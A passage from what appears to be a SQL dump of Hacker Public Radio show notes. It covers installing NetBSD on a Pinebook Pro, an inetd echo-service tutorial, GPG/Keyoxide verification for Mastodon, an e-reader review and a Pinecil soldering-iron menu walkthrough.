http://cdn.netbsd.org/pub/pkgsrc/packages/NetBSD/x86_64/.9.0_2022Q2_pkgbuild/All/u-boot-pinebook-pro-2022.01nb1.tgz\n$ gunzip ./arm64.img\n$ tar xzf ./u-boot-pinebook-pro-2022.01nb1.tgz\n$ sudo umount /dev/sdx*\n$ sudo dd if=./arm64.img of=/dev/sdx status=progress conv=fsync bs=1M\n$ sudo sync\n$ sudo dd if=./u-boot-pinebook-pro-2022.01nb1/share/u-boot/pinebook-pro/rksd_loader.img of=/dev/sdx seek=64 conv=sync status=progress\n$ sudo sync\n$ sudo eject /dev/sdx</code></pre>\n<p>And, to install NetBSD to the internal EMMC, the process is similar.\nNetBSD\'s version of <code>dd</code> varies slightly but the options\npassed <em>are</em> important.</p>\n<pre><code># ftp https://cdn.netbsd.org/pub/NetBSD/NetBSD-9.3/evbarm-aarch64/binary/gzimg/arm64.img.gz\n# gunzip ./arm64.img\n# dd if=./arm64.img of=/dev/rl0d conv=sync bs=1m\n# sync\n# PKG_PATH=&quot;http://ftp.netbsd.org/pub/pkgsrc/packages/NetBSD/aarch64/9.3/All/&quot; pkg_add pkgin\n# pkgin install u-boot-pinebook-pro\n# sudo dd if=/usr/pkg/share/u-boot/pinebook-pro/rksd_loader.img of=/dev/rld0 seek=64 conv=sync\n# sync\n# reboot</code></pre>\n<p>And, some more desktop centric things after booting from EMMC:</p>\n<pre><code># passwd\n# echo &quot;postfix=NO&quot; &gt;&gt; /etc/rc.conf\n# echo &quot;xdm=YES&quot; &gt;&gt; /etc/rc.conf</code></pre>\n<p>Installing pkgin (and some packages):</p>\n<pre><code># PKG_PATH=&quot;https://cdn.NetBSD.org/pub/pkgsrc/packages/NetBSD/aarch64/9.3/All/&quot; pkg_add pkgin\n# sed -i&#39;&#39; -e &#39;s/9.0/9.3/g&#39; /usr/pkg/etc/pkgin/repositories.conf\n# pkgin install vim git mozilla-rootcerts mozilla-rootcerts-openssl</code></pre>\n<p>The rest is NetBSD specific and I\'ve avoided getting into it here\nbecause it doesn\'t have anything to do with the PBP.</p>\n<hr />\n<h2 id=\"performance\">Performance</h2>\n<p>The PBP has 6 cores (2 fast, 4 slow) and 4gb ram. The cpu is fairly\nslow but entirely usable. On large procedural jobs like software\ncompilation, it\'s painful. For concurrent jobs, it\'s mostly fine.</p>\n<h2 id=\"compiler-performance\">Compiler performance</h2>\n<p>As expected, the PBP is slower when it comes to compilation than a\nstandard amd64 machine. Surprisingly enough, NetBSD was significantly\nslower than Manjaro. This is likely due to the Linux kernel knowing how\nto better handle multiple CPUs with varying speeds.</p>\n<h3 id=\"sequential-jobs\">sequential jobs</h3>\n<p>I used <a href=\"https://github.com/9fans/plan9port\">plan9port</a>\nbecause it\'s a fairly large but portable project. Compilation is largely\nsequential, invokes many standard shell utilities, and involves extra\npreprocessor steps to convert 9 C into something a standard UNIX\ncompiler like GCC or Clang can compile.</p>\n<p>On a T490 - 8th gen Core i7 (4 cores, 8 threads, 4.8GHz, vPro for\nmaximum thermal output):</p>\n<pre><code>real    232.51 (~4 minutes)\nuser    188.07\nsys     65.01</code></pre>\n<p>On an X220 - 2nd gen Core i5 (2 cores, 4 threads, 2.6GHz, vPro for\nmaximum thermal output):</p>\n<pre><code>real    249.98 (~4 minutes)\nuser    220.33\nsys     65.52</code></pre>\n<p>On the PBP (2 2.0GHz cores + 4 1.5GHz cores, no CPU fan for maximum\nthermal output) (running stock <strong>Manjaro</strong> image):</p>\n<pre><code>real    1355.27 (~22 minutes)\nuser    1178.47\nsys     347.71</code></pre>\n<p>On the PBP (2 2.0GHz cores + 4 1.5GHz cores, no CPU fan for maximum\nthermal output) (running <strong>NetBSD</strong>):</p>\n<pre><code>real    3715.24 (~60 minutes)\nuser    1946.84\nsys     3435.29</code></pre>\n<h3 id=\"concurrent-jobs\">concurrent jobs</h3>\n<p>I used <a href=\"https://github.com/vim/vim\">vim</a> because it can be\nbuilt in parallel without causing any issues.</p>\n<p>Same 8th gen Core i7 (<code>make -j7</code>):</p>\n<pre><code>real    27.36\nuser    170.21\nsys     11.30</code></pre>\n<p>Same 2nd gen Core i5 (<code>make -j7</code>, approaching the\nexponential decay of marginal returns on concurrent processing):</p>\n<pre><code>real    77.07\nuser    292.46\nsys     10.00</code></pre>\n<p>On the PBP (<code>make -j7</code>) (running stock\n<strong>Manjaro</strong> image):</p>\n<pre><code>real    220.60\nuser    1145.40\nsys     59.90</code></pre>\n<p>On the PBP (<code>make -j7</code>) (running\n<strong>NetBSD</strong>):</p>\n<pre><code>real    319.30\nuser    1560.87\nsys     255.33</code></pre>\n<h2 id=\"web-browser-testing\">Web browser testing</h2>\n<p>Because the PBP has similar hardware specifications to the adware\nsubsidized craptops sold by google, I thought it would be a good idea to\ncompare web browser performance on these systems as well.</p>\n<p>I found a few <a href=\"https://browserbench.org/\">web browser\nbenchmark tests at browserbench.org</a>. They\'re probably snakeoil but\nrunning JS tests is a good way to put a number on how performant\n$browser on $hardware is.</p>\n<p>Scores from the <a\nhref=\"https://browserbench.org/JetStream\">JetStream2 test</a></p>\n<blockquote>\n<p>JetStream 2.1 is a JavaScript and WebAssembly benchmark suite focused\non the most advanced web applications. It rewards browsers that start up\nquickly, execute code quickly, and run smoothly. For more information,\nread the in-depth analysis. Bigger scores are better.</p>\n</blockquote>\n<pre><code>Thinkpad T490   79.555\nThinkpad X220   39.983\nPBP (manjaro)   19.148</code></pre>\n<p>I don\'t have an chromesumption book to test against, so all I can say\nis that the PBP is slower than a workhorse amd64 machine when it comes\nto interpreting javascript.</p>\n<hr />\n<h1 id=\"conclusion\">Conclusion</h1>\n<h2 id=\"did-the-pbp-fulfill-its-needs\">Did the PBP fulfill it\'s\nneeds?</h2>\n<p>The intended use case was \"UNIX machine I can charge from an existing\nbattery or alternator\". This immediately invokes ideas of \"why would I\neven need wifi support?\"</p>\n<p>Ultimately, I ended up flashing a bad image to the SPI flash chip and\nI cannot get the system to boot (or even show signs of life). I have\nattempted to enter maskrom mode to re-flash the SPI but I am\nunsuccessful. There are a few other things I need to try. I\'ll update\nthis if I ever get it functional again.</p>\n<p>I did not have the opportunity to test the machine in the exact\nenvironment I got it for but it was fun before I bricked it. Again, a\nplace for updates.</p>\n<h2 id=\"who-is-the-pbp-for\">Who is the PBP for?</h2>\n<p>HACKERS!</p>\n<p>Obviously, the types of people who are interested in pine64 devices\nand similar SBCs are already computer owners (if not computer hoarders).\nIt\'s unlikely that the PBP will become my (or anyone\'s) primary computer\nbut that doesn\'t mean that it\'s useless. The entire point of arm SBCs is\nto have fun so why not have fun?</p>\n<p>Just don\'t flash your SPI if you want it to work as expected.</p>\n<hr />\n<h1 id=\"some-final-thoughts-on-open-hardware\">Some final thoughts on\nopen hardware</h1>\n<p>Oftentimes, before purchasing freedom centric hardware, I search for\na few reviews so that I can set my expectations correctly. Oftentimes\nthese reviews are very epidermal: <em>they\'re not even skin deep</em>.\nThese reviewers are consumers producing reviews for a consumer audience,\nnot hackers producing in-depth reviews for hacker audience. These types\nof reviews are frustrating for me but fundamental flaws seem to shine\nthrough the lack of thoroughness.</p>\n<p>I think that the general negative reviews on open hardware largely\nstem from unrealistic expectations. The community seems to over-hype\nmany of these devices out of ignorance, stating that $freedomDevice is\nthe $proprietaryAlternative killer, the end all be all device that will\nusher in the year of the Linux $deviceCategory. Oftentimes, it seems\nlike the high expectations fall flat when confronted with the reality of\nopen hardware: it\'s either way too expensive or way too\nexperimental.</p>\n<p>It seems like many of these devices are lacking both developer time\nand users who are both enthusiastic and knowledgeable. Pitfalls of\nmobile UNIX include bad power management, difficulty hotplugging\nwireless chipsets, graphical interfaces attempting to cope with the fact\nthat they don\'t have a physical keyboard, etc. There is still much work\nto be done. As for users, it seems that the most enthusiastic users\nalways have the impression that $linuxDevice will have 1:1 feature\nparity with $proprietaryDevice. Maybe it\'s just that the loudest users\nare heard or that we only want to hear utopian dreams of a free software\nfuture.</p>\n<p>A prime example of this conflict between expectations and reality:\nLinux smartphones. It doesn\'t help when many linux smartphones over the\nyears were advertised as a viable android competitor rather than\nanything other than what they actually were: an arm board attached to a\ntouch screen and a modem.</p>\n<p>I oftentimes ask myself \"what is open source worth?\". How much money\nare you willing to throw at an idea you like? Surely, money thrown at an\nidea you like is being used better than money thrown at an idea you\ndon\'t like. In many cases, it seems like open hardware devices are more\nexpensive than their proprietary counterparts for a few reasons. The two\nlargest reasons are small batch manufacturing and the fact that open\nhardware isn\'t subsidized by pre-installed adware (in the case of nearly\nevery device that comes pre-loaded with proprietary software).</p>\n<p>What is open source worth? A few extra dollars, a few extra hours of\nconfiguration, a few extra papercuts, and a clean conscious knowing that\nI didn\'t pay for yet another windows license I will never use and will\nnever get a refund for. Open source is worth investing in because the,\nalbeit slow, improvements to open hardware and software have wider\nimplications than just \"buying a laptop with Linux pre installed\".</p>\n<h1 id=\"future-projects\">Future projects</h1>\n<ul>\n<li><s>something with the raspi</s></li>\n<li>NetBSD in depth</li>\n<li>\"why is my lightbulb running android?\" and other Internet-Of-Terror\nideas</li>\n<li>turning a router into a general purpose computing device (probably\nMIPS because where else am I going to find a MIPS CPU? Might as well do\nsomething novel instead of $arm-project-1209)</li>\n</ul>\n',406,0,1,'CC-BY-SA','Open Hardware, Pine64',0,0,1),
(3734,'2022-11-24','Inetd: the internet super-server',1008,'I talk about inetd and give an example of how to write a service for it','<h1 id=\"inetd-the-internet-super-server\">Inetd, the internet\nsuper-server</h1>\n<p>Inetd is slowly becoming one of my favorite daemons. It makes writing\nprograms that talk over the network super easy. Inetd handles all of the\nhard socket stuff and allows admins to write simple UNIX-ey programs.\nInetd is useful because it allows us to write services that only run\nwhen they are requested in order to reduce total system load.</p>\n<h1 id=\"how-inetd-works\">How inetd works</h1>\n<p>Inetd can be conceptualized as a sort of \"wrapper daemon\". Inetd is\nalways running <em>despite the fact that many of it\'s sub-services are\nnot always running</em>.</p>\n<p>Inetd listens on a specific port. When it gets a request, it handles\nall of the hard socket parts. This request is then passed to one of our\n<em>inetd services</em></p>\n<p>We will use a simple server that echoes the request back to the user\nas an example. We will call this <em>inetd service</em>\n<code>echod</code></p>\n<p>Inetd passes requests to <code>echod</code> as text.\n<code>echod</code> will read from stdin and write to stdout. Everything\nwritten to stdout is passed to the client. <code>echod</code> will then\nexit.</p>\n<h2 id=\"echo-server-example\">echo server example</h2>\n<p>I use OpenBSD on my webserver. Sadly, systemd sockets have replaced\ninetd on many linux systems. systemd sockets are entirely painful to\nuse. I can\'t verify that these examples will work on non-OpenBSD systems\nbut the <code>openbsd-inetd</code> package is available on a wide\nvariety of debianoiads.</p>\n<p>Let\'s write out out <code>echod</code> service and the configuration\nfiles required to get it working.</p>\n<p>Edit <code>/etc/inetd.conf</code></p>\n<pre><code># port  socket type protocol    wait/nowait user    server program      server arguments(optional)\n9999    stream      tcp         nowait      daemon  /opt/echod/echod.sh</code></pre>\n<p>And our <code>echod</code> service file, located at\n<code>/opt/echod/echod.sh</code>:</p>\n<pre><code>#!/bin/sh\nwhile read l; do\n        echo $l;\ndone;\n\nexit 0;</code></pre>\n<p>Be sure to <code>chmod +x echod.sh</code> and\n<code>rcctl enable inetd &amp;&amp; rcctl start inetd</code> or it won\'t\nrun.</p>\n<h3 id=\"testing\">Testing</h3>\n<p>Sometimes you can use curl to test a service but I will use netcat\ninstead because it doesn\'t assume http.</p>\n<pre><code>$ echo &quot;foobar&quot; | nc -N localhost 9999\nfoobar\n$</code></pre>\n<p>You can also use telnet to test the service:</p>\n<pre><code>$ telnet localhost 9999\nTrying 127.0.0.1...\nConnected to localhost.\nEscape character is &#39;^]&#39;.\nfoo\nfoo\nfoobar\nfoobar\necho back\necho back\n^]\ntelnet&gt; Connection closed.\n$</code></pre>\n<h2 id=\"finger-server-example\">Finger server example</h2>\n<p>Many months ago, I wrote a finger server to learn more about how\ninetd works (and to write a finger daemon that doesn\'t allow for\nenumerating non-regular users). <a\nhref=\"https://gitlab.com/binrc/fingerd/\">You can download the source\ncode for my finger server from my gitlab</a>.</p>\n<p>This finger server only allows information from users who have a home\ndirectory in <code>/home/</code> to be displayed. It also has hard-coded\nfilenames it looks for. Example output looks something like:</p>\n<pre><code>$ finger binrc@localhost\n[localhost/127.0.0.1]\nbinrc@openbsd.my.domain\n\nhttps://0x19.org\n\nWorking on an HPR episode\n\nbinrc.nospam@nospam.protonmail.com\n\nNo .pgpkey\n\n$</code></pre>\n<h2 id=\"gopher-server-example\">Gopher server example</h2>\n<p>Currently, I am working on a gopher server that runs through inetd to\nlearn more about how gopher works (and to write a gopher server that\ndoesn\'t allow for path traversal). I have yet to add autoindex support\nbut I thought it would be good to include anyway because it really\ndemonstrates how simple it can be to write an inetd service. <a\nhref=\"https://gitlab.com/binrc/pika\">You can download the source code\nfor my gopher server from my gitlab</a>.</p>\n<p>This gopher server reads input from standard in and prints the\nrequested file to standard out. Writing an inetd service can be as easy\nas writing an application specific version of <code>cat(1)</code>.</p>\n<h1 id=\"giving-the-service-ssl\">Giving the service SSL</h1>\n<p>You can pair inetd with relayd to make any inetd service use ssl. In\nthis example, I am symlinking my existing httpd certs obtained with <a\nhref=\"https://acme.sh\">acme.sh</a></p>\n<pre><code># ln -s /etc/ssl/example.com.fullchain.pem /etc/ssl/example.com\\:9998.crt\n# ln -s /etc/ssl/private/example.com.key /etc/ssl/private/example.com\\:9998.key</code></pre>\n<p>A sample relayd configuration looks like:</p>\n<pre><code>log connection\n\ntcp protocol &quot;echod&quot; {\n        tls keypair &quot;example.com:9998&quot;\n}\n\nrelay &quot;echod&quot; {\n        listen on example.com port 9998 tls\n        protocol &quot;echod&quot;\n        forward to 127.0.0.1 port 9999\n}</code></pre>\n<p>After enabling and starting relayd, it will now be listening on port\n<code>9998</code>. When it receives traffic on <code>9998</code>, it\nwill perform all of the fancy cryptography stuff and pass the request to\n<code>localhost:9999</code>. Since relayd is listening on\n<code>9999</code> and passing requests on <code>9999</code> to the echo\nserver, we are now running an echo server with ssl.</p>\n<h1 id=\"conclusion\">Conclusion</h1>\n<p>Do I run inetd in production? No, not really. I have in the past but\nI haven\'t needed it seeing as finger, echo, and gopher are dead\nprotocols. Even if inetd is largely useless in the modern era, it\'s\nstill fun to play with.</p>\n',406,0,1,'CC-BY-SA','BSD, inetd',0,0,1),
(3729,'2022-11-17','Contributing to SuperTuxKart',914,'Explaining the workflow to contribute to this foss game with media assets','<ul>\n<li><p>Main website of the game <a href=\"https://supertuxkart.net\"\nclass=\"uri\">https://supertuxkart.net</a></p></li>\n<li><p>Stk core engine (C++) <a\nhref=\"https://github.com/supertuxkart/stk-code\"\nclass=\"uri\">https://github.com/supertuxkart/stk-code</a></p></li>\n<li><p>Tools for 2d and 3d production <a\nhref=\"https://supertuxkart.net/Installing_Tools\"\nclass=\"uri\">https://supertuxkart.net/Installing_Tools</a></p></li>\n<li><p>Media repo with all source files <a\nhref=\"https://supertuxkart.net/Media_Repo\"\nclass=\"uri\">https://supertuxkart.net/Media_Repo</a></p></li>\n<li><p>Style guidelines to maintain visual consistency <a\nhref=\"https://supertuxkart.net/Texture_Guidelines\"\nclass=\"uri\">https://supertuxkart.net/Texture_Guidelines</a></p></li>\n<li><p>Addons website to publish your creation <a\nhref=\"https://online.supertuxkart.net/\"\nclass=\"uri\">https://online.supertuxkart.net/</a></p></li>\n</ul>\n<p>This time I tried a \"car rambling podcast\", where I record while I\ndrive and stop the recording only when reaching the destination</p>\n',407,0,1,'CC-BY-SA','computer graphics,supertuxkart,audio production,assets,contribution,blender,3d model,krita,hand draw',0,0,1),
(3732,'2022-11-22','My experience owning an Atari Jaguar',1976,'I talk about my experience with the Atari Jaguar and Jaguar CD','<p>My experience owning and playing the Atari Jaguar and Jaguar CD.</p>\n',412,0,0,'CC-BY-SA','atari jaguar, video games, atari',0,0,1),
(3731,'2022-11-21','Speech recognition in Kdenlive',332,'A brief description of how you can use speech recognition to transcribe your clips in Kdenlive','<p>Recently I returned to Kdenlive after about a 10-year break, and was\npleased to discover the speech recognition feature.</p>\n<p><a\nhref=\"https://docs.kdenlive.org/en/effects_and_compositions/speech_to_text.html#install-python\"\nclass=\"uri\">https://docs.kdenlive.org/en/effects_and_compositions/speech_to_text.html#install-python</a></p>\n',399,0,0,'CC-BY-SA','kdenlive,\"video editing\",\"speech recognition\"',0,0,1),
(3733,'2022-11-23','Smite',1738,'The battleground of the gods.','<h2 id=\"smite-the-battleground-of-the-gods\"><a\nhref=\"https://smitegame.com/\">Smite</a>, the battleground of the\nGODS.</h2>\n<p>SMITE is a free-to-play online MOBA (Multiplayer Online Battle Arena)\nand ARTS (action real-time strategy) game developed by Titan Forge Games\nand published by Hi-Rez Studios. The game is currently available on PC,\nXbox One, PlayStation 4 and Nintendo Switch. Players choose from a large\nselection of playable gods, immortals, and creatures from ancient\nmythology and join session-based arena combat. Each of the playable\ncharacters have their own unique abilities and fighting styles. This\nsession-based arena combat is mostly 5 players against another set of 5\nplayers, but there are several other Game Modes with different rules and\nobjectives, and the goal in most of them is to defeat the Titan located\nin the opposite team\'s base while protecting your own Titan.</p>\n<p><a href=\"https://smite.fandom.com/wiki/Smite_Wiki\">Smite wiki</a>:\nThe most comprehensive source of SMITE information maintained by the\ncommunity.</p>\n<p><a href=\"https://smitegame.com/gods/\">List of all in-game gods</a>.\nLinks to <a href=\"https://smitegame.com/gods/bastet\">Bastet</a> &amp; <a\nhref=\"https://smitegame.com/gods/ares\">Ares</a>.</p>\n<p><a href=\"https://smitegame.com/items/\">List of all in-game\nitems</a>.</p>\n',391,0,1,'CC-BY-SA','Smite, MOBA, Arena, Bastet, Gaming',0,0,1),
(3737,'2022-11-29','Review of KOBO Libra H20 e-reader',708,'Rho`n talks about his new KOBO Libra H20 e-reader','<h2 id=\"introduction\">Introduction</h2>\n<p>I have wanted an e-ink based e-reader for a while. Reading on my\ncomputer is ok. Reading on my phone is doable, but is very annoying. If\nI don\'t keep my finger on the screen, it will go blank and then I have\nto make sure and press the power button to bring the screen back to life\nbefore it locks. A tablet would probably be a nice compromise, but I\nreally wanted to try out an e-ink display, and didn\'t want the potential\ndistractions of a more multi-purpose device. I wanted not only and e-ink\ndisplay, but also one that ran a linux operating system, and a reader\nthat I could potentially put a different Linux distribution on, or\nmodify myself somehow. When asked what I wanted for Christmas this year\nby my wonderful girlfriend, I sent her a link to the KOBO Libra H20.</p>\n<h2 id=\"kobo-libra-h20-specification\">KOBO Libra H20 specification</h2>\n<ul>\n<li><p>processor - Freescale i.MX6 SLL 1 GHz</p></li>\n<li><p>RAM - 512 MB</p></li>\n<li><p>hard drive - 8GB</p></li>\n<li><p>display - 7 inch HD 300 PPI E Ink touchscreen with 1680 x 1264\nresolution</p></li>\n<li><p>dimensions - 6.3 by 5.7 by 0.3 inches (HWD) and 6.8 ounces or 159\nby 144 by 7.6 mm and 192g</p></li>\n<li><p>battery - 1200 mAh. Good battery life. Currently I use it\ninfrequently, and have charged it maybe 4 or 5 times of the last\nyear</p></li>\n<li><p>Connectivity -WiFi 802.11 b/g/n and Micro USB. I have it\nconnected to my home network. Have only used WiFi to update the OS. I\nuse the USB port to transfer books I\'ve downloaded to my computer, and\nto charge the Kobo.</p></li>\n</ul>\n<h2 id=\"calibre-ebook-management\">Calibre ebook management</h2>\n<p>I knew about Calibre, but had never used it. So far it has been a\ngreat e-book manager. Has very nice features for editing meta data and\norganizing my books. It will also transfer the books to the Libra H20\nand update its internal database. One thing I found is KOBO does have\nits own EPUB format that it uses to optimize display of books. In\nparticular, it fixes an issue where images in standard EPUB format don\'t\nscale to the size of the page. Calibre has a plugin system, and a 3rd\nparty plugin is available that will convert a standard EPUB format to\nKePUB when you transfer the book to the e-reader.</p>\n<h2 id=\"conclusion\">Conclusion</h2>\n<p>I have been enjoying my KOBO reader. It can feel a little slow at\ntimes, especially rendering pdf files where the page is a picture of the\ntext and not made up of electronic characters, and it does render images\nin standard epub format a bit small at times. Other than these two\nthings, it is very easy to read in all lighting settings, and I enjoy\nreading using the KOBO.</p>\n<h2 id=\"references\">References</h2>\n<ul>\n<li><p><a href=\"https://www.kobo.com/\">KOBO website</a></p></li>\n<li><p><a href=\"https://us.kobobooks.com/products/kobo-libra-h2o\">KOBO\nLibra H20</a></p></li>\n<li><p><a href=\"https://www.manua.ls/kobo/libra-h2o/manual?p=1\">Kobo\nLibra H2O manual</a></p></li>\n<li><p><a href=\"https://www.techradar.com/reviews/kobo-libra-h2o\">Kobo\nLibra H2O review</a>; Sharmishta Sarkar, Dan Gardiner; May 20,\n2020</p></li>\n<li><p><a href=\"https://calibre-ebook.com/\">Calibre ebook\nmanagement</a></p></li>\n<li><p><a\nhref=\"https://www.epubor.com/how-to-convert-epub-to-kepub-calibre.html\">How\nto Convert EPUB to Kepub Calibre</a>; Ada Wang; 2/13/2020</p></li>\n<li><p><a\nhref=\"https://hunterzee.gcbackup.us/kobotouchextended/\">Kobotouchextended</a></p></li>\n<li><p><a href=\"https://www.eink.com/electronic-ink.html\">E\nInk</a></p></li>\n</ul>\n',293,0,0,'CC-BY-SA','e-reader,KOBO,KOBO Libra, KOBO Libra H20, e-ink, Calibre, epub, kepub',0,0,1),
(3736,'2022-11-28','Metasyntactic words',703,'Blah blah blah (literally)','<p>Metasyntactic words are vocables such as \"foo\", \"bar\", \"baz\", \"blah\", and so on.</p>\n',78,0,0,'CC-BY-SA','linguistics, programming, syntax',0,0,1),
(3746,'2022-12-12','Cpuinfo',894,'How to get CPU info on Linux','<p>Various ways to get information about your CPU on Linux.</p>\n',78,0,0,'CC-BY-SA','cpu,utilities,programming',0,0,1),
(3739,'2022-12-01','Multipactors for the masses.',1587,'Seemingly advanced artefacts of one\'s locale are tangled whims upon exponential inspiration. ','<p>I found an copy of an old video. This episode is just a verbal\ntranscription of that lecture.</p>\n<ul>\n<li>Electrostatic containment.</li>\n<li>Fusor.</li>\n<li>Riggatron.</li>\n<li>Multipactor.</li>\n</ul>\n<p>Robert Murray Smith has got some thoroughly practical and useful\ninstructional material on Youtube. His channel is his name. He is keen\nto transmit knowledge and to stimulate innovation.</p>\n<p>I just looked up the books which he has written, and one of them is\non the subject of this episode:</p>\n<p><em>Beyond The Fusor: A New Design For A Table Top Fusion Reactor And\nHow To Build It</em><br />\nby Robert Murray-Smith.</p>\n',398,0,1,'CC-BY-SA','fusor,riggatron,multipactor,electrostatic ',0,0,1),
(3756,'2022-12-26','Verify yourself on Mastodon with PGP and Keyoxide',1940,'Verify your Mastodon account using GnuPG and Keyoxide.org','<p>Keyoxide is a project that parses a PGP key and makes its data available to Mastodon for identity verification.</p>\r\n<p><small>Added by Ken - 2022-12-27</small></p>\r\n<p>To list the key</p>\r\n<p><code>gpg2 --list-secret-keys</code></p>\r\n<p>To update and export your key</p>\r\n<pre><code>YOUR_GPG_UID=$( gpg2 --list-secret-keys | grep -A1 &#39;sec&#39; | tail -1 | awk &#39;{print $NF}&#39; )\r\n\r\n$ gpg2 --list-secret-keys ${YOUR_GPG_UID}\r\n\r\n$ gpg2 --edit-key ${YOUR_GPG_UID}\r\n\r\ngpg&gt; uid 1\r\n\r\ngpg&gt; primary\r\n\r\ngpg&gt; notation\r\nEnter the notation: proof@ariadne.id=https://YOUR-MASTODON-SERVER/@YOUR_MASTODON_ID\r\n\r\ngpg&gt; showpref \r\n\r\ngpg&gt; save \r\n\r\n$ gpg2 --armor --export ${YOUR_GPG_UID} &gt; pub-key.asc</code></pre>\r\n<p>Upload to <a href=\"https://keys.openpgp.org/\">https://keys.openpgp.org/</a></p>\r\n<p>Select Verify email</p>\r\n<p>Click the email link</p>\r\n<p>You should get a message \"Your key ${YOUR_GPG_UID} is now published for the identity YOUR_EMAIL_ADDRESS.\"</p>\r\n<p>Got to your mastodon server https://YOUR-MASTODON-SERVER/settings/profile</p>\r\n<p>And on the page add GPG and https://keyoxide.org/hkp/${YOUR_GPG_UID}</p>\r\n\r\n\r\n\r\n<h3>Links</h3>\r\n<ul>\r\n<li><a href=\"https://opensource.com/article/22/12/verified-mastodon-pgp-keyoxide\">https://opensource.com/article/22/12/verified-mastodon-pgp-keyoxide</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=nLhiNOa4DBs\">https://www.youtube.com/watch?v=nLhiNOa4DBs</a></li>\r\n</ul>\r\n\r\n',78,0,0,'CC-BY-SA','pgp, gnupg, crypto, identity',0,0,1),
(3754,'2022-12-22','GOD probably will use a Chromebook',2250,'A Squirrels Rebuttal of GNU World Order episode 489 Cloud Services','<hr />\r\n<h3>Counter Point</h3>\r\n<p>A counter point to this show is available: <a href=\"https://hackerpublicradio.org/eps.php?id=3793\">hpr3793 :: RE: Zen_Floater2</a>\r\n</p>\r\n<hr />\r\n\r\n\r\n\r\n<ul>\r\n<li><a href=\"https://gnuworldorder.info/\"\r\nclass=\"uri\">https://gnuworldorder.info/</a> See episode 489 Cloud\r\nServices</li>\r\n</ul>\r\n<p>How using a Chromebook could eventually result in Mankind creating\r\nGOD in his own image.</p>\r\n<p>A brief discussion of my attempt to emulate Google Services from a\r\nChromebook on a Devuan equipped Lenovo Laptop and how all of this will\r\neventually result in mankind actually creating a real GOD who will be\r\nmasters of EVERYTHING.</p>\r\n<p>A Squirrels perspective on life, the universe and everything - even\r\nCloud Services and the lie that is A.I.</p>\r\n',377,0,1,'CC-BY-SA','Chromebooks,Cloud_Services,gnuworldorder,GOD,ALIENS,SQUIRRELS',0,0,1),
(3745,'2022-12-09','Pinecil walkthrough',525,'Details of the Pinecil soldering iron menu with a secret menu','<p>Pinecil &#x2013; a RISC-V powered, open and versatile soldering iron. It can\nbe <br> powered via USB-C PD as well as a DC5525 jack, and runs\ncommunity developed <br> software. Moreover, it is compatible with\npopular TS-100 tips. All this at half <br> the price of the\ncompetition.</p>\n<p><a href=\"https://pine64.com/product-category/pinecil\"\ntitle=\"Pine64 Pinecil\">Pine64 Pinecil</a></p>\n<p><em><em>Version</em></em></p>\n<ul>\n<li>Long press on minus button shows the version <br/> v2.18.A1A569A\n17-07-22</li>\n</ul>\n<p><em><em>Secret setting</em></em></p>\n<ul>\n<li>Long press on minus button then short press on the plus button shows\nthe version with the elapsed time the iron is on.\n<ul>\n<li>This is is seconds, with the last digit in 100mS increments\n<ul>\n<li>example 101 = 10 seconds and 100 milliseconds</li>\n</ul></li>\n</ul></li>\n</ul>\n<p><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3745/hpr3745/image_version_screen.png\"\ntitle=\"Software version v2.18.A1A569A\" alt=\"Software version\" /></p>\n<p><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3745/hpr3745/test3_480_5fps.gif\"\ntitle=\"Sample screen animation showing power settings\"\nalt=\"Sample screen animation\" /></p>\n<p><em><em>Menu</em></em></p>\n<ul>\n<li><p>Power Settings</p>\n<ul>\n<li>Power source\n<ul>\n<li>Sets cutoff voltage. (DC 10V) (S 3.3V per cell, disabled power\nlimit)</li>\n</ul></li>\n<li>QC Voltage 20.0\n<ul>\n<li>Max QC Voltage the iron should negotiate for</li>\n<li>Range: 9 to 22 volts</li>\n</ul></li>\n<li>PD Timeout (20)\n<ul>\n<li>PD negotiation timeout in 100ms steps for compatibility with some QC\nchargers</li>\n<li>Range: 1 to 50 seconds / Off <br/><br/></li>\n</ul></li>\n</ul></li>\n<li><p>Soldering settings</p>\n<ul>\n<li>Boost temp 410<span class=\"math inline\"><sup>&#x2218;</sup></span>\n<ul>\n<li>Tip temperature used in \"boost mode\"</li>\n<li>Range: 10 to 450 degrees (Increments of 10)</li>\n</ul></li>\n<li>Start-up behavior (0)\n<ul>\n<li>0=off | S=heat up to soldering temp | Z=standby at sleep temperature\nuntil moved | R=Standby without heating until moved</li>\n</ul></li>\n<li>Temperature change short (1)\n<ul>\n<li>Temperature-change-increment on short button press</li>\n<li>Range: 1 to 50</li>\n</ul></li>\n<li>Temperature change long (10)\n<ul>\n<li>Temperature-change-increment on short button press</li>\n<li>Range: 5 to 90 (Increments of 5)</li>\n</ul></li>\n<li>Allow locking buttons (D)\n<ul>\n<li>While soldering, hold down both buttons to toggle locking them</li>\n<li>(D=disable | B=boost mode only | F=full locking) <br/><br/></li>\n</ul></li>\n</ul></li>\n<li><p>Sleep mode</p>\n<ul>\n<li>Motion Sensitivity (7)\n<ul>\n<li>0=off | 1=least sensitive | ... | 9=most sensitive</li>\n</ul></li>\n<li>Sleep temp (110 degrees)\n<ul>\n<li>Tip temperature while in \"sleep mode\"</li>\n<li>Range: 10 to 300</li>\n</ul></li>\n<li>Sleep timeout (50s)\n<ul>\n<li>Interval before \"sleep mode\" kicks in (s=seconds | m=minutes)</li>\n<li>Range: 10s to 50s | 1m to 10m | Off</li>\n</ul></li>\n<li>Shutdown timeout 10m\n<ul>\n<li>Interval before the iron shuts down (m=minutes)</li>\n<li>Range: 1m to 60m | Off <br/><br/></li>\n</ul></li>\n</ul></li>\n<li><p>User interface</p>\n<ul>\n<li>Temperature unit (C)\n<ul>\n<li>C=Celsius | F=Fahrenheit</li>\n</ul></li>\n<li>Display orientation (R)\n<ul>\n<li>R=right-handed | L=left-handed | A=automatic</li>\n</ul></li>\n<li>Cooldown flashing &#x2610;\n<ul>\n<li>Flash the temperature reading after heating was halted while the tip\nis still hot</li>\n</ul></li>\n<li>Scrolling speed (S)\n<ul>\n<li>Speed info text scrolls past at (S=slow | F=fast)</li>\n</ul></li>\n<li>Swap +- key &#x2610;\n<ul>\n<li>Reverse assignment of buttons for temperature adjustment</li>\n</ul></li>\n<li>Anim. speed (M)\n<ul>\n<li>Pace of icon animations in the menu (0=off | S=slow | M=medium |\nF=fast)</li>\n</ul></li>\n<li>Anim. loop &#x2610;\n<ul>\n<li>Loop icon animations in main menu</li>\n</ul></li>\n<li>(Brightness icon) (4)\n<ul>\n<li>Adjust the brightness of the 